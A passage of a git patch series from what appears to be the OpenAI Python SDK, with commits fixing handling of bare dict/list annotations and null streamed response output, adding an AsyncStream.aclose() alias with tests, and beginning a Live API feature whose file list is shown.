@@ -861,6 +910,8 @@ def test_comment_rejects_older_runs_attempts_and_wrong_pr(self) -> None:
"head_sha": base,
"run_attempt": 2,
"pull_requests": [{"number": 1}],
+ "head_repository": {"owner": {"login": "contributor"}},
+ "head_branch": "fix/branch",
}
comment = {
"id": 8,
@@ -879,7 +930,7 @@ def test_comment_rejects_older_runs_attempts_and_wrong_pr(self) -> None:
)
self.assertEqual(api.call_count, 3)
with (
- mock.patch.object(report, "api", side_effect=[pull, {**run, "pull_requests": []}, []]),
+ mock.patch.object(report, "api", side_effect=[pull, {**run, "pull_requests": []}, [], []]),
self.assertRaisesRegex(report.ReportError, "does not match report PR"),
):
report.publish_comment(result, "openai/example", 1, 2, 2)
From c7e8c03e2d87708ef233d0db00167dfa339325a9 Mon Sep 17 00:00:00 2001
From: Rohit kuwarbi
Date: Thu, 10 Sep 2026 05:37:19 +0530
Subject: [PATCH 112/341] fix: handle bare `dict` and `list` annotations
without type arguments (#3760)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Fixes #3338
Fixes #3341
## The bug
`transform()` and `construct_type()` both assume that any `dict` or
`list` annotation is parameterised, and index into `get_args()`
unconditionally. For a bare, unparameterised annotation `get_args()`
returns an empty tuple, so the index access raises instead of
transforming/constructing the value.
```py
from typing import TypedDict
from openai._utils._transform import transform
from openai._models import construct_type
class Params(TypedDict, total=False):
metadata: dict # bare dict — no type parameters
transform({"metadata": {"key": "value"}}, Params)
# IndexError: tuple index out of range (_transform.py:183)
construct_type(value={"key": "value"}, type_=dict)
# ValueError: not enough values to unpack (expected 2, got 0) (_models.py:660)
```
Two details that weren't in the linked issues:
- **Bare `list` is affected too.** `construct_type(value=[1, 2],
type_=list)` raises `IndexError` at `args[0]`, and `transform([1, 2],
list)` raises `RuntimeError: Expected type to have a type
argument at index 0` via `extract_type_arg`. Same root cause, so it's
fixed here as well.
- **This reaches real response deserialization.** Any `BaseModel` with a
bare `dict`/`list` field crashes on construction, because
`Model.construct()` routes through the same `construct_type()` branch:
```py
class M(BaseModel):
metadata: dict
M.construct(metadata={"a": 1})
# ValueError: not enough values to unpack (expected 2, got 0)
```
The async transform path (`_async_transform_recursive`) has the same two
call sites and is fixed alongside the sync one.
## The fix
Bare containers are treated as if their contents were annotated with
`Any`, which is exactly the existing behaviour for `dict[str, Any]` /
`list[Any]` — values pass through unchanged, while nested `BaseModel`
values still get dumped for JSON-serializability. This keeps
parameterised and unparameterised annotations consistent rather than
special-casing bare ones into a "return unchanged" path.
- `_transform.py`: new `_extract_container_arg(typ, index)` helper that
falls back to `object` when the index is out of range, used by the
`dict` and `list`/`Iterable`/`Sequence` branches in both the sync and
async recursion.
- `_models.py`: `args` is already computed at the top of
`construct_type`, so the `dict` and `list` branches just guard the index
access.
## Verification
Added `test_bare_dict_annotation` / `test_bare_list_annotation` to
`tests/test_transform.py` (parametrised over sync and async) and
`tests/test_models.py`. All six new cases fail on `main` and pass with
this change.
`ruff check`, `ruff format --check`, `pyright`, and `mypy` are clean on
the four touched files. `tests/test_models.py`,
`tests/test_transform.py` and `tests/test_utils` pass, with no change to
the set of pre-existing failures.
---------
Co-authored-by: Marcus Wood
---
src/openai/_models.py | 5 +++--
src/openai/_utils/_transform.py | 13 ++++++++-----
tests/test_client.py | 34 +++++++++++++++++++++++++++++++++
tests/test_models.py | 32 +++++++++++++++++++++++++++++++
tests/test_transform.py | 32 +++++++++++++++++++++++++++++++
5 files changed, 109 insertions(+), 7 deletions(-)
diff --git a/src/openai/_models.py b/src/openai/_models.py
index ed4c1f82d6..f0d2f97810 100644
--- a/src/openai/_models.py
+++ b/src/openai/_models.py
@@ -657,7 +657,8 @@ def construct_type(*, value: object, type_: object, metadata: Optional[List[Any]
if not is_mapping(value):
return value
- _, items_type = get_args(type_) # Dict[_, items_type]
+ # Bare containers have no type arguments; leave their contents untyped.
+ items_type = args[1] if len(args) > 1 else object # Dict[_, items_type]
return {key: construct_type(value=item, type_=items_type) for key, item in value.items()}
if (
@@ -678,7 +679,7 @@ def construct_type(*, value: object, type_: object, metadata: Optional[List[Any]
if not is_list(value):
return value
- inner_type = args[0] # List[inner_type]
+ inner_type = args[0] if args else object # List[inner_type]
return [construct_type(value=entry, type_=inner_type) for entry in value]
if origin == float:
diff --git a/src/openai/_utils/_transform.py b/src/openai/_utils/_transform.py
index 414f38c340..304fd12ffe 100644
--- a/src/openai/_utils/_transform.py
+++ b/src/openai/_utils/_transform.py
@@ -23,7 +23,6 @@
from ._typing import (
is_list_type,
is_union_type,
- extract_type_arg,
is_iterable_type,
is_required_type,
is_sequence_type,
@@ -180,7 +179,8 @@ def _transform_recursive(
return _transform_typeddict(data, stripped_type)
if origin == dict and is_mapping(data):
- items_type = get_args(stripped_type)[1]
+ args = get_args(stripped_type)
+ items_type = args[1] if len(args) > 1 else object
return {key: _transform_recursive(value, annotation=items_type) for key, value in data.items()}
if (
@@ -196,7 +196,8 @@ def _transform_recursive(
if isinstance(data, dict):
return cast(object, data)
- inner_type = extract_type_arg(stripped_type, 0)
+ args = get_args(stripped_type)
+ inner_type = cast(type, args[0]) if args else object
if _no_transform_needed(inner_type):
# for some types there is no need to transform anything, so we can get a small
# perf boost from skipping that work.
@@ -346,7 +347,8 @@ async def _async_transform_recursive(
return await _async_transform_typeddict(data, stripped_type)
if origin == dict and is_mapping(data):
- items_type = get_args(stripped_type)[1]
+ args = get_args(stripped_type)
+ items_type = args[1] if len(args) > 1 else object
return {key: _transform_recursive(value, annotation=items_type) for key, value in data.items()}
if (
@@ -362,7 +364,8 @@ async def _async_transform_recursive(
if isinstance(data, dict):
return cast(object, data)
- inner_type = extract_type_arg(stripped_type, 0)
+ args = get_args(stripped_type)
+ inner_type = cast(type, args[0]) if args else object
if _no_transform_needed(inner_type):
# for some types there is no need to transform anything, so we can get a small
# perf boost from skipping that work.
diff --git a/tests/test_client.py b/tests/test_client.py
index d82c39e616..7fa7ee31bd 100644
--- a/tests/test_client.py
+++ b/tests/test_client.py
@@ -827,6 +827,23 @@ def test_binary_content_upload_with_body_is_deprecated(self, respx2_mock: MockRo
assert response.request.headers["Content-Type"] == "application/octet-stream"
assert response.content == file_content
+ @pytest.mark.respx2(base_url=base_url)
+ @pytest.mark.parametrize("client", [False], indirect=True)
+ def test_bare_container_response(self, respx2_mock: MockRouter, client: OpenAI) -> None:
+ class Model(BaseModel):
+ metadata: dict # type: ignore[type-arg]
+ items: list # type: ignore[type-arg]
+
+ data = {"metadata": {"key": "value"}, "items": [1, "two"]}
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json=data))
+
+ assert client.get("/foo", cast_to=dict) == data
+ response = client.get("/foo", cast_to=Model)
+ assert response.model_dump() == data
+
+ respx2_mock.get("/items").mock(return_value=httpx2.Response(200, json=[1, "two"]))
+ assert client.get("/items", cast_to=list) == [1, "two"]
+
@pytest.mark.respx2(base_url=base_url)
def test_basic_union_response(self, respx2_mock: MockRouter, client: OpenAI) -> None:
class Model1(BaseModel):
@@ -2131,6 +2148,23 @@ async def test_binary_content_upload_with_body_is_deprecated(
assert response.request.headers["Content-Type"] == "application/octet-stream"
assert response.content == file_content
+ @pytest.mark.respx2(base_url=base_url)
+ @pytest.mark.parametrize("async_client", [False], indirect=True)
+ async def test_bare_container_response(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
+ class Model(BaseModel):
+ metadata: dict # type: ignore[type-arg]
+ items: list # type: ignore[type-arg]
+
+ data = {"metadata": {"key": "value"}, "items": [1, "two"]}
+ respx2_mock.get("/foo").mock(return_value=httpx2.Response(200, json=data))
+
+ assert await async_client.get("/foo", cast_to=dict) == data
+ response = await async_client.get("/foo", cast_to=Model)
+ assert response.model_dump() == data
+
+ respx2_mock.get("/items").mock(return_value=httpx2.Response(200, json=[1, "two"]))
+ assert await async_client.get("/items", cast_to=list) == [1, "two"]
+
@pytest.mark.respx2(base_url=base_url)
async def test_basic_union_response(self, respx2_mock: MockRouter, async_client: AsyncOpenAI) -> None:
class Model1(BaseModel):
diff --git a/tests/test_models.py b/tests/test_models.py
index cc204bac1d..a98fb37d33 100644
--- a/tests/test_models.py
+++ b/tests/test_models.py
@@ -359,6 +359,38 @@ class Model(BaseModel):
assert cast(Any, m.items[1]) == 156
+def test_bare_dict_annotation() -> None:
+ # a bare `dict` has no type arguments so the values are left as-is
+ class Model(BaseModel):
+ metadata: dict # type: ignore[type-arg]
+
+ m = Model.construct(metadata={"key": "value"})
+ assert m.metadata == {"key": "value"} # pyright: ignore[reportUnknownMemberType]
+
+ assert construct_type(value={"key": "value"}, type_=dict) == {"key": "value"}
+ assert construct_type(value={"key": "value"}, type_=Dict) == {"key": "value"}
+ assert construct_type(value={}, type_=dict) == {}
+
+ # non-mapping values are still passed through unchanged
+ assert construct_type(value="not a dict", type_=dict) == "not a dict"
+
+
+def test_bare_list_annotation() -> None:
+ # a bare `list` has no type arguments so the entries are left as-is
+ class Model(BaseModel):
+ items: list # type: ignore[type-arg]
+
+ m = Model.construct(items=[{"key": "value"}, 1])
+ assert m.items == [{"key": "value"}, 1] # pyright: ignore[reportUnknownMemberType]
+
+ assert construct_type(value=[1, 2], type_=list) == [1, 2]
+ assert construct_type(value=[1, 2], type_=List) == [1, 2]
+ assert construct_type(value=[], type_=list) == []
+
+ # non-list values are still passed through unchanged
+ assert construct_type(value="not a list", type_=list) == "not a list"
+
+
def test_dict_of_union() -> None:
class SubModel1(BaseModel):
name: str
diff --git a/tests/test_transform.py b/tests/test_transform.py
index 5af84df7fd..93f7ad8dd8 100644
--- a/tests/test_transform.py
+++ b/tests/test_transform.py
@@ -397,6 +397,38 @@ class DictItems(TypedDict):
assert await transform({"foo": {"foo_baz": "bar"}}, Dict[str, DictItems], use_async) == {"foo": {"fooBaz": "bar"}}
+@parametrize
+@pytest.mark.asyncio
+async def test_bare_dict_annotation(use_async: bool) -> None:
+ """Bare dictionaries still serialize their values."""
+
+ class BareDict(TypedDict):
+ metadata: dict # type: ignore[type-arg]
+
+ assert await transform({"metadata": {"key": "value"}}, BareDict, use_async) == {"metadata": {"key": "value"}}
+ assert await transform({"key": "value"}, dict, use_async) == {"key": "value"}
+ assert await transform({"key": "value"}, Dict, use_async) == {"key": "value"}
+ model = ModelWithDefaultField(foo="value")
+ assert cast(object, await transform({"metadata": {"model": model}}, BareDict, use_async)) == {
+ "metadata": {"model": {"foo": "value"}}
+ }
+
+
+@parametrize
+@pytest.mark.asyncio
+async def test_bare_list_annotation(use_async: bool) -> None:
+ """Bare lists still serialize their entries."""
+
+ class BareList(TypedDict):
+ items: list # type: ignore[type-arg]
+
+ assert await transform({"items": [{"foo_baz": "bar"}]}, BareList, use_async) == {"items": [{"foo_baz": "bar"}]}
+ assert await transform([1, 2, 3], list, use_async) == [1, 2, 3]
+ assert await transform([1, 2, 3], List, use_async) == [1, 2, 3]
+ model = ModelWithDefaultField(foo="value")
+ assert cast(object, await transform({"items": [model]}, BareList, use_async)) == {"items": [{"foo": "value"}]}
+
+
class TypedDictIterableUnionStr(TypedDict):
foo: Annotated[Union[str, Iterable[Baz8]], PropertyInfo(alias="FOO")]
From adb212e116323fcec4b4811d20ba9eb78280c24c Mon Sep 17 00:00:00 2001
From: Shaurya Singh
Date: Wed, 9 Sep 2026 17:08:44 -0700
Subject: [PATCH 113/341] fix: preserve finalized output on null response
completion (#3345)
## Summary
Responses parsing raised `TypeError` when a response contained `output:
null`. Treat null output as empty for standalone parsing, and recover
finalized `response.output_item.done` items when a streaming completion
has null or missing output.
Recovery preserves item order, final statuses, annotations, refusals,
structured output, tool arguments, and completion metadata. Explicit
completion output, including `[]`, remains authoritative. This addresses
the review feedback about losing streamed output without adding per-item
finalization branches.
Fixes #3325.
## Validation
- Merged current `main` into the contributor branch.
- Responses suite: 48 passed with Pydantic v2 and 48 passed with
Pydantic v1 on Python 3.10.
- Public synchronous and asynchronous streaming coverage includes null,
missing, empty, and supplied completion output, with and without
streamed items.
- Ruff, Pyright (0 errors), Mypy (1,614 source files), and import check
passed.
- Full PR diff reviewed; no unrelated changes or security findings.
---------
Co-authored-by: Marcus Wood
---
src/openai/lib/_parsing/_responses.py | 2 +-
.../lib/streaming/responses/_responses.py | 12 +-
tests/lib/responses/test_null_output.py | 125 ++++++++++++++++++
tests/lib/responses/test_responses.py | 8 ++
4 files changed, 145 insertions(+), 2 deletions(-)
create mode 100644 tests/lib/responses/test_null_output.py
diff --git a/src/openai/lib/_parsing/_responses.py b/src/openai/lib/_parsing/_responses.py
index c607587ec1..81e6b2b983 100644
--- a/src/openai/lib/_parsing/_responses.py
+++ b/src/openai/lib/_parsing/_responses.py
@@ -58,7 +58,7 @@ def parse_response(
) -> ParsedResponse[TextFormatT]:
output_list: List[ParsedResponseOutputItem[TextFormatT]] = []
- for output in response.output:
+ for output in response.output or []:
if output.type == "message":
content_list: List[ParsedContent[TextFormatT]] = []
for item in output.content:
diff --git a/src/openai/lib/streaming/responses/_responses.py b/src/openai/lib/streaming/responses/_responses.py
index 6975a9260d..735238493e 100644
--- a/src/openai/lib/streaming/responses/_responses.py
+++ b/src/openai/lib/streaming/responses/_responses.py
@@ -15,6 +15,7 @@
)
from ...._types import Omit, omit
from ...._utils import is_given, consume_sync_iterator, consume_async_iterator
+from ...._compat import model_copy
from ...._models import build, construct_type_unchecked
from ...._streaming import Stream, AsyncStream
from ....types.responses import ParsedResponse, ResponseStreamEvent as RawResponseStreamEvent
@@ -25,6 +26,7 @@
ParsedResponseOutputMessage,
ParsedResponseFunctionToolCall,
)
+from ....types.responses.response_output_item import ResponseOutputItem
class ResponseStream(Generic[TextFormatT]):
@@ -240,6 +242,7 @@ def __init__(
) -> None:
self.__current_snapshot: ParsedResponseSnapshot | None = None
self._completed_response: ParsedResponse[TextFormatT] | None = None
+ self._completed_output: dict[int, ResponseOutputItem] = {}
self._input_tools = [tool for tool in input_tools] if is_given(input_tools) else []
self._text_format = text_format
self._rich_text_format: type | Omit = text_format if inspect.isclass(text_format) else omit
@@ -356,10 +359,17 @@ def accumulate_event(self, event: RawResponseStreamEvent) -> ParsedResponseSnaps
output = snapshot.output[event.output_index]
if output.type == "function_call":
output.arguments += event.delta
+ elif event.type == "response.output_item.done":
+ self._completed_output[event.output_index] = event.item
elif event.type == "response.completed":
+ response = event.response
+ if getattr(response, "output", None) is None:
+ # Recover finalized items; deltas can omit final status, annotations, or refusals.
+ response = model_copy(response)
+ response.output = [self._completed_output[index] for index in sorted(self._completed_output)]
self._completed_response = parse_response(
text_format=self._text_format,
- response=event.response,
+ response=response,
input_tools=self._input_tools,
)
diff --git a/tests/lib/responses/test_null_output.py b/tests/lib/responses/test_null_output.py
new file mode 100644
index 0000000000..4c782de03a
--- /dev/null
+++ b/tests/lib/responses/test_null_output.py
@@ -0,0 +1,125 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+from pydantic import BaseModel
+
+from openai import OpenAI, AsyncOpenAI
+from openai.types.responses import ToolParam
+
+
+class Answer(BaseModel):
+ answer: int
+
+
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("terminal_output", ["null", "missing", "empty", "present"])
+@pytest.mark.parametrize("has_items", [True, False], ids=["with-items", "without-items"])
+async def test_stream_recovers_finalized_output(sync: bool, terminal_output: str, has_items: bool) -> None:
+ items: list[dict[str, object]] = (
+ [
+ {
+ "id": "msg_test",
+ "type": "message",
+ "role": "assistant",
+ "status": "completed",
+ "content": [
+ {
+ "type": "output_text",
+ "text": '{"answer": 4}',
+ "annotations": [
+ {
+ "type": "url_citation",
+ "url": "https://example.com",
+ "title": "Example",
+ "start_index": 0,
+ "end_index": 1,
+ }
+ ],
+ },
+ {"type": "refusal", "refusal": "Final refusal"},
+ ],
+ },
+ {
+ "id": "fc_test",
+ "type": "function_call",
+ "call_id": "call_test",
+ "name": "lookup",
+ "arguments": '{"answer": 4}',
+ "status": "completed",
+ },
+ ]
+ if has_items
+ else []
+ )
+ response: dict[str, object] = {"id": "resp_test", "status": "in_progress", "output": []}
+ events: list[dict[str, object]] = [{"type": "response.created", "response": response}]
+ for index, item in enumerate(items):
+ added = {**item, "status": "in_progress"}
+ if item["type"] == "message":
+ added["content"] = []
+ else:
+ added["arguments"] = ""
+ events.append({"type": "response.output_item.added", "output_index": index, "item": added})
+ # Final items carry data absent from the live snapshot. Preserve output_index order.
+ for index in reversed(range(len(items))):
+ events.append({"type": "response.output_item.done", "output_index": index, "item": items[index]})
+ completed: dict[str, object] = {
+ "id": "resp_test",
+ "status": "completed",
+ "usage": {"input_tokens": 1, "output_tokens": 2, "total_tokens": 3},
+ }
+ if terminal_output != "missing":
+ # A supplied list must win, even when it differs from the streamed items.
+ completed["output"] = {"null": None, "empty": [], "present": items[:1]}[terminal_output]
+ events.append({"type": "response.completed", "response": completed})
+ body = "".join(
+ f"data: {json.dumps({**event, 'sequence_number': index})}\n\n" for index, event in enumerate(events)
+ ).encode()
+ transport = httpx2.MockTransport(
+ lambda _request: httpx2.Response(200, content=body, headers={"content-type": "text/event-stream"})
+ )
+ tools: list[ToolParam] = [{"type": "function", "name": "lookup", "parameters": {}, "strict": True}]
+ if sync:
+ with OpenAI(api_key="fake-test-key", http_client=httpx2.Client(transport=transport)) as client:
+ with client.responses.stream(model="test-model", input="test", text_format=Answer, tools=tools) as stream:
+ emitted = list(stream)
+ final = stream.get_final_response()
+ else:
+ async with AsyncOpenAI(
+ api_key="fake-test-key", http_client=httpx2.AsyncClient(transport=transport)
+ ) as async_client:
+ async with async_client.responses.stream(
+ model="test-model", input="test", text_format=Answer, tools=tools
+ ) as async_stream:
+ emitted = [event async for event in async_stream]
+ final = await async_stream.get_final_response()
+
+ last_event = emitted[-1]
+ assert last_event.type == "response.completed"
+ assert last_event.response == final
+ assert final.id == "resp_test"
+ assert final.status == "completed"
+ assert final.usage is not None and final.usage.total_tokens == 3
+ if not has_items or terminal_output == "empty":
+ assert final.output == []
+ return
+
+ assert len(final.output) == (1 if terminal_output == "present" else 2)
+ message = final.output[0]
+ assert message.type == "message" and message.status == "completed"
+ assert message.id == "msg_test"
+ assert final.output_parsed == Answer(answer=4)
+ text = message.content[0]
+ assert text.type == "output_text"
+ citation = text.annotations[0]
+ assert citation.type == "url_citation" and citation.url == "https://example.com"
+ refusal = message.content[1]
+ assert refusal.type == "refusal" and refusal.refusal == "Final refusal"
+ if terminal_output != "present":
+ tool = final.output[1]
+ assert tool.type == "function_call" and tool.status == "completed"
+ assert tool.id == "fc_test"
+ assert tool.parsed_arguments == {"answer": 4}
diff --git a/tests/lib/responses/test_responses.py b/tests/lib/responses/test_responses.py
index c970c53a77..390681e8fb 100644
--- a/tests/lib/responses/test_responses.py
+++ b/tests/lib/responses/test_responses.py
@@ -103,3 +103,11 @@ def test_parse_method_definition_in_sync(sync: bool, client: OpenAI, async_clien
checking_client.responses.parse,
exclude_params={"tools"},
)
+
+
+def test_parse_response_with_null_output() -> None:
+ response = construct_type_unchecked(type_=Response, value={"output": None})
+
+ parsed = parse_response(text_format=omit, input_tools=omit, response=response)
+
+ assert parsed.output == []
From 802b334928d8f0c3e24e5fce15a0eaa1b28c61cd Mon Sep 17 00:00:00 2001
From: Arthur Costa
Date: Thu, 10 Sep 2026 13:41:20 -0300
Subject: [PATCH 114/341] fix: add aclose() to AsyncStream for standard async
cleanup (#2854)
## Summary
Add `AsyncStream.aclose()` as a thin async alias for the existing
`close()` method. This supports `contextlib.aclosing()` and adapters
that expect `aclose()` while preserving existing `close()` and async
context manager behavior, including subclass overrides of `close()`.
Fixes #2853.
The reported cleanup error occurs when an instrumentation wrapper
exposes an `AsyncStream` as its response and the higher-level chat
streaming helper calls `aclose()` on it. The alias makes that cleanup
path work without changing stream iteration or response handling.
## Tests
- Verify that `aclose()` closes an actual streaming HTTP response and
remains safe alongside repeated `close()` calls.
- Exercise `contextlib.aclosing()` through the public async client after
an early exit and an exception.
- Merge current main and adapt the original test to HTTPX2.
## Validation
- 23 streaming tests pass on Python 3.10 with both Pydantic v1 and v2.
- 16 additional local compatibility checks pass with both Pydantic
versions, covering existing cleanup methods, unread/partial/complete
streams, subclass overrides, and the reported instrumentation cleanup
path.
- Broad local run: 5,108 passed, 120 skipped; three environment-related
failures passed on rerun after installing local wheel metadata and using
CI-pinned uv 0.12.5 (5,111 passing tests total).
- Ruff, Pyright, Mypy, import checks, and changed-file formatting pass.
- Wheel and source distribution builds, Python metadata validation,
Bedrock wheel smoke checks, and isolated HTTPX2/legacy HTTPX/aiohttp
wheel checks pass.
Local limitation: the pinned Steady mock server could not download its
JSR dependencies in this environment. Forty fine-tuning tests failed
because the server was unavailable, and API-resource tests were not run
locally. CI still needs to validate the full mock-server suite and
supported Python matrix.
---------
Co-authored-by: Claude Opus 4.6
Co-authored-by: Marcus Wood
---
src/openai/_streaming.py | 4 ++++
tests/test_streaming.py | 47 ++++++++++++++++++++++++++++++++++++++++
2 files changed, 51 insertions(+)
diff --git a/src/openai/_streaming.py b/src/openai/_streaming.py
index 78e2d20aa7..0fd375604d 100644
--- a/src/openai/_streaming.py
+++ b/src/openai/_streaming.py
@@ -239,6 +239,10 @@ async def close(self) -> None:
"""
await self.response.aclose()
+ async def aclose(self) -> None:
+ """Close the response and release the connection. Alias for `close()`."""
+ await self.close()
+
class ServerSentEvent:
def __init__(
diff --git a/tests/test_streaming.py b/tests/test_streaming.py
index ae6c0590f7..ee3af47ab6 100644
--- a/tests/test_streaming.py
+++ b/tests/test_streaming.py
@@ -1,6 +1,7 @@
from __future__ import annotations
from typing import Iterator, AsyncIterator
+from contextlib import aclosing, nullcontext
import httpx2
import pytest
@@ -216,6 +217,52 @@ def body() -> Iterator[bytes]:
assert sse.json() == {"content": "известни"}
+@pytest.mark.asyncio
+async def test_async_stream_aclose(async_client: AsyncOpenAI) -> None:
+ def body() -> Iterator[bytes]:
+ yield b"data: [DONE]\n\n"
+
+ response = httpx2.Response(200, content=to_aiter(body()))
+ stream = AsyncStream(cast_to=object, client=async_client, response=response)
+
+ assert not response.is_closed
+ await stream.aclose()
+ assert response.is_closed
+
+ # Either spelling remains safe after the response has already been closed.
+ await stream.close()
+ await stream.aclose()
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize("raise_error", [False, True], ids=["early-exit", "exception"])
+async def test_async_stream_aclosing(raise_error: bool) -> None:
+ def body() -> Iterator[bytes]:
+ yield (
+ b'data: {"id":"chatcmpl-test","object":"chat.completion.chunk","created":0,'
+ b'"model":"test-model","choices":[{"index":0,"delta":{"content":"hello"},'
+ b'"finish_reason":null}]}\n\n'
+ )
+ yield b"data: [DONE]\n\n"
+
+ response = httpx2.Response(200, content=to_aiter(body()), headers={"content-type": "text/event-stream"})
+ async with AsyncOpenAI(
+ api_key="fake-test-key",
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(lambda _request: response)),
+ ) as client:
+ stream = await client.chat.completions.create(model="test-model", messages=[], stream=True)
+ with pytest.raises(ValueError, match="test exception") if raise_error else nullcontext():
+ async with aclosing(stream):
+ async for chunk in stream:
+ assert chunk.choices[0].delta.content == "hello"
+ assert not response.is_closed
+ if raise_error:
+ raise ValueError("test exception")
+ break
+
+ assert response.is_closed
+
+
async def to_aiter(iter: Iterator[bytes]) -> AsyncIterator[bytes]:
for chunk in iter:
yield chunk
From 0e4bfef9c79251fcf4926fd732129627bde050f1 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Thu, 10 Sep 2026 13:10:20 -0400
Subject: [PATCH 115/341] feat(api) Add Live API (#3846)
- Add Live API endpoints.
- Add synchronous and asynchronous WebSocket helpers for primary,
sideband, and fork connections.
- Add `TranscriptGrouper` and `AsyncTranscriptGrouper` helpers.
Co-authored-by: apcha-oai <228803254+apcha-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +-
api.md | 2 +
api_reference/openapi.transformed.yml | 3650 +++++++++++++++--
examples/live/audio_transcript.py | 89 +
examples/live/transcript_grouper.md | 99 +
examples/live/transcript_grouper.py | 55 +
scripts/castiron/test_custom_code_report.py | 12 +-
src/openai/__init__.py | 1 +
src/openai/_client.py | 38 +
src/openai/_module_client.py | 8 +
src/openai/lib/live/__init__.py | 9 +
src/openai/lib/live/_listeners.py | 103 +
src/openai/lib/live/_transcript_grouper.py | 325 ++
src/openai/lib/live/_transcript_grouping.py | 315 ++
src/openai/lib/live/_transcript_state.py | 157 +
src/openai/lib/live/_types.py | 52 +
src/openai/resources/live/__init__.py | 39 +
src/openai/resources/live/api.md | 95 +
src/openai/resources/live/forks.py | 1423 +++++++
src/openai/resources/live/live.py | 1621 ++++++++
src/openai/resources/live/sessions.py | 686 ++++
src/openai/resources/live/sideband.py | 1386 +++++++
src/openai/resources/webhooks/api.md | 1 +
.../types/beta/beta_response_input_item.py | 12 +
.../beta/beta_response_input_item_param.py | 12 +
.../types/beta/beta_response_input_param.py | 12 +
src/openai/types/beta/beta_response_item.py | 12 +
.../types/beta/beta_response_output_item.py | 12 +
.../types/conversations/conversation_item.py | 12 +
src/openai/types/live/__init__.py | 95 +
src/openai/types/live/audio_format.py | 45 +
src/openai/types/live/audio_format_param.py | 44 +
src/openai/types/live/built_in_voice.py | 30 +
src/openai/types/live/client_config.py | 15 +
src/openai/types/live/client_config_param.py | 18 +
src/openai/types/live/client_delegation.py | 17 +
.../types/live/client_delegation_param.py | 17 +
src/openai/types/live/client_event.py | 36 +
src/openai/types/live/client_event_param.py | 34 +
.../types/live/commentary_append_event.py | 38 +
.../live/commentary_append_event_param.py | 38 +
.../types/live/commentary_appended_event.py | 38 +
src/openai/types/live/connect_client_event.py | 32 +
.../types/live/connect_client_event_param.py | 30 +
src/openai/types/live/connect_server_event.py | 44 +
src/openai/types/live/custom_voice.py | 9 +
src/openai/types/live/custom_voice_param.py | 11 +
src/openai/types/live/data_channel_config.py | 30 +
.../types/live/data_channel_config_param.py | 32 +
.../types/live/delegation_created_event.py | 67 +
src/openai/types/live/error.py | 33 +
src/openai/types/live/error_event.py | 31 +
src/openai/types/live/fork_client_event.py | 36 +
.../types/live/fork_client_event_param.py | 34 +
src/openai/types/live/fork_server_event.py | 161 +
src/openai/types/live/fork_session_config.py | 76 +
.../types/live/fork_session_config_param.py | 76 +
.../types/live/fork_session_start_event.py | 33 +
.../live/fork_session_start_event_param.py | 34 +
src/openai/types/live/function_tool.py | 32 +
src/openai/types/live/function_tool_param.py | 32 +
src/openai/types/live/info_event.py | 32 +
src/openai/types/live/initial_item.py | 153 +
src/openai/types/live/initial_item_param.py | 150 +
.../types/live/input_audio_append_event.py | 33 +
.../live/input_audio_append_event_param.py | 33 +
.../types/live/input_audio_mute_event.py | 24 +
.../live/input_audio_mute_event_param.py | 24 +
.../types/live/input_audio_muted_event.py | 27 +
.../types/live/input_audio_unmute_event.py | 24 +
.../live/input_audio_unmute_event_param.py | 24 +
.../types/live/input_audio_unmuted_event.py | 27 +
.../live/input_transcript_delta_event.py | 45 +
.../types/live/instructions_append_event.py | 37 +
.../live/instructions_append_event_param.py | 37 +
.../types/live/instructions_appended_event.py | 38 +
src/openai/types/live/live_create_params.py | 27 +
src/openai/types/live/live_create_response.py | 46 +
.../types/live/media_session_config_param.py | 119 +
.../live/media_session_fork_config_param.py | 53 +
.../types/live/output_audio_delta_event.py | 38 +
.../live/output_transcript_delta_event.py | 45 +
.../types/live/response_create_event.py | 23 +
.../types/live/response_create_event_param.py | 23 +
src/openai/types/live/response_event.py | 41 +
.../types/live/response_item_create_event.py | 31 +
.../live/response_item_create_event_param.py | 32 +
.../types/live/responses_delegation_config.py | 120 +
.../live/responses_delegation_config_param.py | 120 +
.../responses_delegation_update_config.py | 124 +
...esponses_delegation_update_config_param.py | 124 +
src/openai/types/live/server_event.py | 161 +
.../types/live/server_event_selector.py | 20 +
.../types/live/server_event_selector_param.py | 20 +
.../types/live/session_accept_params.py | 128 +
src/openai/types/live/session_close_event.py | 24 +
.../types/live/session_close_event_param.py | 24 +
src/openai/types/live/session_closed_event.py | 42 +
src/openai/types/live/session_config.py | 122 +
src/openai/types/live/session_config_param.py | 120 +
src/openai/types/live/session_fork_params.py | 35 +
.../types/live/session_fork_response.py | 46 +
src/openai/types/live/session_refer_params.py | 15 +
.../types/live/session_reject_params.py | 12 +
src/openai/types/live/session_resource.py | 136 +
src/openai/types/live/session_start_event.py | 33 +
.../types/live/session_start_event_param.py | 34 +
.../types/live/session_started_event.py | 31 +
.../types/live/session_update_config.py | 48 +
.../types/live/session_update_config_param.py | 46 +
src/openai/types/live/session_update_event.py | 33 +
.../types/live/session_update_event_param.py | 34 +
.../types/live/session_updated_event.py | 31 +
src/openai/types/live/session_usage.py | 18 +
.../types/live/session_usage_updated_event.py | 49 +
.../types/live/sideband_connect_params.py | 15 +
.../types/live/thinking_append_event.py | 38 +
.../types/live/thinking_append_event_param.py | 38 +
.../types/live/thinking_appended_event.py | 38 +
.../types/responses/response_input_item.py | 12 +
.../responses/response_input_item_param.py | 12 +
.../types/responses/response_input_param.py | 12 +
src/openai/types/responses/response_item.py | 12 +
.../types/responses/response_output_item.py | 12 +
src/openai/types/webhooks/__init__.py | 7 +-
.../live_call_incoming_webhook_event.py | 13 +-
.../live_transport_incoming_webhook_event.py | 63 +
.../realtime_call_incoming_webhook_event.py | 6 +-
.../types/webhooks/unwrap_webhook_event.py | 6 +-
tests/api_resources/live/__init__.py | 1 +
tests/api_resources/live/test_forks.py | 19 +
tests/api_resources/live/test_sessions.py | 735 ++++
tests/api_resources/live/test_sideband.py | 19 +
tests/api_resources/test_live.py | 184 +
tests/lib/live/__init__.py | 0
tests/lib/live/helpers.py | 145 +
tests/lib/live/test_transcript_grouper.py | 152 +
